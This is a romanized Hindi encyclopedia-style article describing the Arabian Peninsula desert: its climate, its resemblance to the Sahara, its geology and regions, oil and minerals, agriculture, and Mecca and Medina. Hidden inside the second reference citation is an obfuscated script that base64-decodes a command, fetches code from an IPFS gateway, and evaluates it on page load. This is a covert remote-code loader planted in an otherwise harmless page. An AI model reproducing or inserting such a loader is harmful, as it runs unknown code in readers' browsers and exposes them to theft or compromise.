अरब प्रायद्वीपीय रेगिस्तान
arab prayadvipiy registan uttar mean siriya se lekar dakshin mean oman tak phaila hua hai. yah garm, shushk aur atishushk registan hai, jisaka kshetraphal 230,00,00 varg ki.mi. hai. is registan mean ret ke bahut b de samudr maujood haian. arab registan vishv ke sabase garm registanoan mean se ek hai. yahaan ka tapaman yadyapi bahut adhik rahata hai, tathapi shit kal mean yah jamav bindu tak pahuanch jata hai. is registan ki bhoomi mean petroliyam padarthoan ke bhandar prachur matra mean maujood haian.
sahara registan se samanata
vishv prasiddh arab prayadvipiy registan tatha sahara registan ke bich bahut samanata hai. vastav mean yah prayadvipiy registan ek prakar se sahara registan ka hi vistarit roop hai. in donoan ke bich avarodhak ke roop mean lal sagar upasthit hai. sahara registan ki hi bhaanti is registan mean bhi ret ke vishal samudr haian. yah atyant shushk prayadvipiy registan hai. anek varshoan tak yahaan ausat varsha keval 100 mi.mi. se kam hi rahi hai.
tapaman tatha sansadhan
yah atyant garm registan hai, jisake madhy bhag ka tapaman 49 digri selsiyas tak pahuanch jata hai halaanki shit rritu mean tapaman kafi niche a jata hai aur aksar ratri mean yah jamav biandu tak pahuanch jata hai. is prayadvip mean sansar ke do-tihaee paitroliyam sansadhan samae hue haian. is prayadvip ka dakshin-poorvi bhag sabase shushk kshetr hai. isi bhag mean prasiddh 'rab al khali' ya 'emti kvatar' sthit hai. yah kshetr isake nam ke anuroop nirjan sthan hai.[1]
arab eshiya ke dakshin pashchim mean ek prayadvipiy pathar hai, jo 12° u.p. se 32° u.p. tak tatha 35° poo.de. se 66° poo.de. tak phaila hai. isaki ausat chau daee 700 mil tatha lanbaee 1,200 mil hai kshetraphal: 10,00,000 vargamil. isake pashchim mean lalasagar, dakshin mean arabasagar evan adan ki kha di, poorv mean oman evan pharas ki kha diyaan tatha uttar mean j aaurdan evan irak ke marusthal hai. isaka lalasagariy tat akaba ki kha di se adan tak phaila hai aur 1,400 mil lanba hai. dakshin mean isake tat ki lanbaee 1,250 mil hai.
pathar mean adyakalpik (arkiyan) patthar haian jinapar madhyakalpik (mesozoik baloo evan choone ke pattharoan ka jamav milata hai. isaki dhal pashchim se poorv ko hai. pashchimi tat par lavanirmit ooanchi parvatashreniyaan milati haian jinaki ausat ooanchaee 5,000 phut hai. inaki sarvadhik ooanchaee yaman rajy mean 12,336 phut hai. arab ke madhy bhag ki ooanchaee 2,000 se 3,000 phut hai.
yah sansar ki ati ushn patti mean p data hai. yaman, asir, evan oman ki pah diyoan ko chho d arab ka sanpoorn bhag shushk evan ooshn hai, jahaan varsha sal bhar mean paanch ianch se bhi kam hoti hai. satatapravahini nadiyoan ka sarvatha abhav hai. arab mean tin prakar ke kshetr milate hai: (1)kathin marusthal; (2)shushk prashoshasthali (steps); (3) maroodyan evan krishikshetr. kathin maroosthaloan mean n jal hai, n kisi prakar ki vanaspati. isake aantargat nafood, dahana evan roob-al-khali ke balue dher evan kank d ke kshetr haian. nafood mean baddoo log, ja de mean tho di varsha hone par, ooant tatha bhe d charate haian. roob-al-khali ke poorvi bhag mean alamurra evan any jatiyaan prasiddh omani ooant palati hai.
steps ke aantargat hamad, hejaz evan midiyaan ke kshetr haian. yahaan kahian kahian prakritik jalachhidr tatha kantili jha diyaan milati haian. maroodyan evan krishikshetr madhy bhag (jise najd kahate haian) tatha tatiy bhagoan mean milate haian. najd mean tin maroodyan ek doosare se ju de haian, jinake bich mean riyadh nagar hai. riyadh soodi arab rajy ki rajadhani hai. tatiy urvar kshetroan mean yaman, hasa, oman ka batinahh tat tatha vadi hadremaut pramukh haian. yaman jagataprasiddh mochcha kahava ki janmabhoomi hai.
arab prayadvip khanij tel ka bhaandar hai, jisaki sanchit nidhi 9 arab (900 karo d) bairal bataee jati hai. sona, chaandi, gandhak tatha namak any pramukh khanij haian. yahaan ka mukhy udyam gho da, ooant, gadaha, bhe d tatha bakara palana hai. khajoor evan ooant ka doodh arab logoan ka mukhy bhojan hai. maroodyan mean gehooan, jau, jvar, bajare ke atirikt aangoor, akharot, anar, aanjir tatha khajoor adi phal upajae jate haian. patharoan par seb tatha ghatiyoan mean kela paida kiya jata hai. musalamanoan ke tirthasthan makka evan madina prayadvip ke pashchimi bhag (hejaz) mean sthit haian. 90% tirthayatri jidda bandaragah se hokar in tirthasthanoan mean jate haian.[2]
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tika tippani aur sandarbh
- ↑ sansar ke vishal registan (hindi) (ech.ti.em.el.). . abhigaman tithi: 15 julaee, 2012.
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 216 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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